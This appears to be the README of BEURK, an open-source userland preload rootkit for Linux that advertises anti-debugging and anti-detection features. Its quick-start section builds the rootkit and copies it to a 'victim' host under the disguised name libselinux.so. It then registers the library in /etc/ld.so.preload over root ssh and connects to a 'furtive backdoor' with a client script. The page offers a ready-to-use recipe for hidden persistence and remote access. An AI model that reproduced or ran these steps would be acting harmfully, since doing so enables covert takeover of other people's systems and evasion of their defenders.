Getting Started | API Documentation | Contributing | TODO List
BEURK is an userland preload rootkit for GNU/Linux, heavily focused around anti-debugging and anti-detection.
S'ils savaient, ils vomiraient ...
- The core team -
git clone https://github.com/unix-thrust/beurk.git
cd beurk
make
scp libselinux.so root@victim.com:/lib/
ssh root@victim.com 'echo /lib/libselinux.so >> /etc/ld.so.preload'
./client.py victim_ip:port # connect with furtive backdoor
The following packages are not required in order to build BEURK at the moment:
Example on debian:
apt-get install libpcap-dev libpam-dev libssl-dev
NOTE: BEURK is a recursive acronym for BEURK Experimental Unix Root Kit